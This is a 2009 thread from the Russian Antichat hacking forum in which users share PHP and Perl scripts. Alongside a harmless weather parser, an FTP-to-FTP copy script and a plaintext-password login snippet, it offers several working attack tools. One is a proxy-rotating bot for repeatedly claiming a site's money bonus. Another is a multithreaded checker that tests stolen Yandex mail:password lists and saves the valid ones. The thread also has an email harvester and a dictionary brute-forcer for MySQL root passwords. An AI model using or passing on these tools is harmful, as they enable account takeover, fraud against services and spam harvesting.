ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #841  
Старый 14.08.2009, 02:37
okthxnz
Banned
Регистрация: 08.08.2009
Сообщений: 46
Провел на форуме:
372123

Репутация: 67
Отправить сообщение для okthxnz с помощью ICQ
По умолчанию

Цитата:
Сообщение от satana-fu  
скрипт можешь в архив скидывать, уже больше полугода как он не работает в браузерах, блокируется.
Его еще на старом ачате выставляли
А, спасиб, тогда мне над будет почистить свой архив скриптов
 

FTP2FTPT from 3-d
  #842  
Старый 14.08.2009, 17:06
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию FTP2FTPT from 3-d

Скрипт, копирующий файл с ФТП1 на ФТП2. Сам скрипт выполняется откуда угодно, место, где выполняется скрипт, не требует резервации под объем копируемого файла (удобно для копирования больших архивов и etc. - т.е. нужно место исключительно для самого скрипта ~ 1.5 кб):
PHP код:
<?php  
@set_time_limit(0);  
@
ini_set("display_errors","1"); 
@
ignore_user_abort(1); 
//ФТП-сервер, откуда берем файло 
$ftp_server1 "фтп-сервер1";// Фтп-сервер1 
$ftp_login1 "фтп-логин1";// Фтп-логин1 
$ftp_pass1 "фтп-пасс1";// Фтп-пасс1 
$path1 '/public_html/test.php'// Абсолютный путь до скачиваемого файла начиная с www директории (доступной из веба) 
$file $ftp_server1.$path1// не трогать:)  
//ФТП-сервер, куда кладём файло 
$ftp_server2 "фтп-сервер2";// Фтп-сервер2 
$ftp_login2 "фтп-логин2";// Фтп-логин2 
$ftp_pass2 "фтп-пасс2";// Фтп-пасс2 
$ftp_port2 21;// Фтп-порт2 
$ftp_time_out2 100;// Фтп-таймаут2 
$path2 '/test.php';// Асболютный путь до директории на втором фтп, куда будем закачивать файл (включая название файла - тут кладем просто в корень ) 
######################################## 
$file1 "ftp://" $ftp_login1 ":" $ftp_pass1 "@" $file
$open ftp_connect($ftp_server2,$ftp_port2,$ftp_time_out2  ); // сервер, порт, таймаут  
if(!ftp_login($open,$ftp_login2,$ftp_pass2))   
    exit(
"Не могу соединиться");  
# Копируем #  
if (ftp_put($open$path2$file1FTP_BINARY))  echo "Файл скопирован с $ftp_server1 на $ftp_server2 в $path2\n";  
else  echo 
"Не удалось скопировать в $path2\n";  
ftp_close($open); // закрываем фтп-соединение 
?>
Копирует, есс-но, любые файлы, .php, .htaccess и etc.

Протестено на denwer, таким образом никаких ограничений на время исполнения скрипта и прочих привелегий нет и быть не может.

Последний раз редактировалось Pashkela; 14.08.2009 в 18:06..
 

  #843  
Старый 14.08.2009, 22:47
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
Post

Простой способ аутентификации на сайте с помощью сессий.
для работы достаточно написать в начале всех защищаемых скриптах(PHP) строчку include "auth.php";

auth.php
PHP код:
<?php
if (isset($_POST['auth_name'])) {
  
$name=mysql_real_escape_string($_POST['auth_name']);
  
$pass=mysql_real_escape_string($_POST['auth_pass']);
  
$query "SELECT * FROM users WHERE name='$name' AND pass='$pass'";
  
$res mysql_query($query) or trigger_error(mysql_error().$query);
  if (
$row mysql_fetch_assoc($res)) {
    
session_start();
    
$_SESSION['user_id'] = $row['id'];
    
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
  }
  
header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
  exit;
}
if (isset(@
$_GET['action']) AND @$_GET['action']=="logout") {
  
session_start();
  
session_destroy();
  
header("Location: http://".$_SERVER['HTTP_HOST']."/");
  exit;
}
if (isset(
$_REQUEST[session_name()])) session_start();
if (isset(
$_SESSION['user_id']) AND $_SESSION['ip'] == $_SERVER['REMOTE_ADDR']) return;
else {
?>
<form method="POST">
<input type="text" name="auth_name"><br>
<input type="password" name="auth_pass"><br>
<input type="submit"><br>
</form>
<?
}
exit;
?>
 

  #844  
Старый 15.08.2009, 01:22
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию

Написал от нех делать скрипт для получения бесплатных бонусов на WMR кошель
При работае юзайте прокси, т.к. кол-во получений бонуса в день == 1.
Код:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use threads;
use threads::shared;

###########################
my $threads = 1;          # Кол-во потоков
my $wmr = 'R185203825511';# Кошель WMR
my $count_attempt = 1;    # Кол-во попыток получения бонуса
my $proxy_mode = 'ON';    # Режим прокси(ON/OFF)
my $proxy = 'proxy.txt';  # Файл с прокси
###########################

open my $prx, '<', $proxy or die "\nCould not open proxy file!\n";
chomp(my @proxys : shared = <$prx>);
close $prx;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    my $ua = new LWP::UserAgent;
    $ua->default_header('Referer' => "http://kamtreid.ru/bon.php");
    for(1..$count_attempt)
    {
        if($proxy_mode eq 'ON')
        {
            until(proxy($ua)){}
        }
        my $answ = $ua->get("http://kamtreid.ru/form.php")->content;
        my $code = undef;
        if($answ =~ m,cod value='(\w+)',i)
        {
            $code = $1;
        }
        else
        {
            print "[ - ] Error parsing code!\n";
        }
        my $ans = $ua->post("http://kamtreid.ru/bonus.php",
                           ["cod" => $code,
                            "r" => $wmr,
                            "submit" => "%CF%EE%EB%F3%F7%E8%F2%FC+%E1%EE%ED%F3%F1"])->code;
        if($ans == 302)
        {
            print "[ ~ ] Ok\n"
        }
    }
}
sub proxy
{
    my ($ua) = @_;
    my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
    $ua->proxy('http' => "http://$ip:$port");
    my $test = $ua->get('http://www.cship.info/azenv.php')->content;
    if($test =~ m,$ip,i)
    {
      print "[ + ] Current proxy: $ip:$port\n";
      return 1;
    }
    else
    {
      print "[ - ] Error proxy: $ip:$port\n";
      return 0;
    }
}
#(c) Gaus 2009

Последний раз редактировалось Gaus; 10.10.2009 в 13:05..
 

  #845  
Старый 15.08.2009, 02:02
heretic1990
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме:
3728999

Репутация: 444
По умолчанию

Anners, название темы прочитай! какие нафиг сайты с бонусами!
 

  #846  
Старый 15.08.2009, 20:25
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Погода на weather.bigmir.net

PHP код:
<?php
class weather
{
########################################
#
# Погода на weather.bigmir.net
#
########################################
var $url 'http://weather.bigmir.net/main/harkov/8956/';

var 
$celsius 'N\A';
var 
$windspeed 'N\A';
var 
$vlaga 'N\A';
var 
$visibility 'N\A';
var 
$obl 'N\A';
var 
$date 'N\A';
var 
$city 'N\A';

function 
weather()
{
$url file_get_contents($this->url);
#
if(preg_match('#<span id=\'TemperatureCelsius\'>(.*)<\/span>#',$url,$matches))
$this->celsius $matches[1];

if(
preg_match('#<span id=\'WindSpeed\'>(.*)<\/span>#U',$url,$matches))
$this->windspeed $matches[1].'м/с';

if(
preg_match('#<span id=\'RelativeHumidity\'>(.*)<\/span>#U',$url,$matches))
$this->vlaga $matches[1].'%';

if(
preg_match('#<span id=\'VisibilityKM\'>(.*)<\/span>#U',$url,$matches))
$this->visibility $matches[1].'км';

if(
preg_match('#<span id=\'CloudCoverage\'>(.*)</span>#U',$url,$matches))
$this->obl $matches[1].'%';

if(
preg_match('#<span id=\'forecastDate\'>(.*?)</span>#U',$url,$matches))
$this->date 'Погода на '.$matches[1];

if(
preg_match('#<div class="fl mrt_small">Погода в (.*)<\/div>#U',$url,$matches))
$this->city 'В '.$matches[1];
}
}

$a = new weather;
echo 
$a->city.'<br />';
echo 
$a->date.'<br />';
echo 
'Температура '.$a->celsius.'<br />';
echo 
'Скорость ветра '.$a->windspeed.'<br />';
echo 
'Влажность '.$a->vlaga.'<br />';
echo 
'Видимость '.$a->visibility.'<br />';
echo 
'Облачность '.$a->obl.'<br />';
?>
 

Брут\чекер мыл на яндексе
  #847  
Старый 15.08.2009, 21:08
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Smile Брут\чекер мыл на яндексе

Код:
#!/usr/bin/perl
#yandex.ru checker
#(c) Gaus 2009
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';

##############################
my $mails_file = 'mails.txt';# Файл со списокoм мыл, в формате мыло:пасс
my $delm = ';';              # Разделитель списка мыл
my $threads = 1;             # Кол-во потоков
my $proxy_file = 'proxy.txt';# Файл с проксями
my $proxy_mode = 'OFF';      # Режим использования прокси
my $good_mails = 'good.txt'; # Файл с валидными мылами
##############################

my @mails : shared = lf($mails_file);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    my $ua = LWP::UserAgent->new(timeout => 35,
                                 cookie_jar => new HTTP::Cookies,
                                 agent => agent());
    while(@mails)
    {
        if($proxy_mode eq 'ON')
        {
            until(proxy($ua)){}
        }
        my ($mail, $pass) = split $delm => shift @mails;
        my ($login, $dom) = split '@' => $mail;
        my $resp = $ua->post("http://pda-passport.yandex.ru/passport?mode=mauth",
                            ["timestamp" => time,
                             "login" => $login,
                             "passwd" => $pass,
                             "In" => "%C2%EE%E9%F2%E8"])->code;
        if($resp == 302)
        {
            wf($good_mails, "$mail;$pass\n");
            print "[ + ] $mail;$pass\n";
        }
        else
        {
            print "[ - ] $mail;$pass\n";
        }
    }
}
sub proxy
{
    my $ua = shift;
    my ($ip, $port) = split ':' => $proxys[rand scalar @proxys];
    $ua->proxy('http' => "http://$ip:$port");
    my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
    if($test =~ m,REMOTE_ADDR=$ip,i)
    {
        print "[ + ] Current proxy: $ip:$port\n";
        return 1;
    }
    else
    {
        print "[ - ] Error proxy: $ip:$port\n";
        return 0;
    }
}
sub agent
{
    my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
    return $agents[rand scalar @agents];
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp (my @data = <$dat>);
    close $dat;
    my %saw;
    return @data = grep(!$saw{$_}++, @data);
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}
 

Парсер мыла
  #848  
Старый 17.08.2009, 02:26
Dr1ver
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме:
2607957

Репутация: 184
Smile Парсер мыла

PHP код:

<?php
$base_url
='http://otvet.mail.ru';
$buffer=file_get_contents($base_url);
preg_match_all('/[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}/'$buffer$emails);
$emails array_unique($emails[0]);
foreach(
$emails as $ke => $vol){
echo 
$vol.'<br/>';
//ну а тут ваши необходимые действия
}
?>

Немного криво, главное принцип
 

  #849  
Старый 19.08.2009, 11:15
Patronik
Познающий
Регистрация: 16.03.2009
Сообщений: 82
Провел на форуме:
148667

Репутация: 23
Отправить сообщение для Patronik с помощью ICQ
По умолчанию

Всем доброе утро! Я написал такой скриптик который пробует подобрать пароль к mysql серверу. Пробовал его у себя на компе работает нормально. Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины?

PHP код:
<html>

<head>
  <title>Shpion</title>
</head>

<body>
<h2>Made by Patron</h2>
<a href = "http://www.libra.com/sql_shpion/tr.php">tr</a><br><br>
<?php
    $dir 
opendir("slovnuku");
    while(
$file readdir($dir))
    {
        if((
$file != "..")&&($file != "."))
        {
        
$slovnuku[]= $file;
        }

        }

        
$size sizeof($slovnuku);

        if(
$size != )
        {

          foreach (
$slovnuku as $curslovnuk)
          {
            echo
'<a href = "http://www.libra.com/sql_shpion/shpion.php?curslovnuk='.$curslovnuk.'">'.$curslovnuk.'</a><br>';
            }

            }

closedir ($dir);




    
$curslov $_GET['curslovnuk'];
    echo
'<center><a href = "http://www.libra.com/sql_shpion/shpion.php?unset=1">Вийти зісловника</a><br><br></center>';
    if(
$_GET['unset'] == 1) { unset($curslov); }

    if(isset(
$curslov))
    {
    
$slovnuk file("slovnuku/$curslov");

        foreach (
$slovnuk as $curworld)
        {
            
//echo''.$curworld.'<br>';
            
$curworld rtrim($curworld);
            
$coonect mysql_connect("localhost""root"$curworld);

            if(
$coonect != false)
            {
                
$fp fopen("pas.txt""a+");
                
$password $curworld;
                
$string "Пароль підібрано ----".$password."\n";
                
fputs($fp$string);
                
fclose($fp);
                echo
'<p>Я вас вітаю! Пароль підібрано успішно!</p>';
                exit;
            }


            else
            {
                echo 
'<p> В цьому словнику не знайшлося паролю(( </p>';

                }



        }


        }


?>

</body>

</html>
 

  #850  
Старый 19.08.2009, 11:17
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

Цитата:
Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины?
от настроек сервера зависит
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ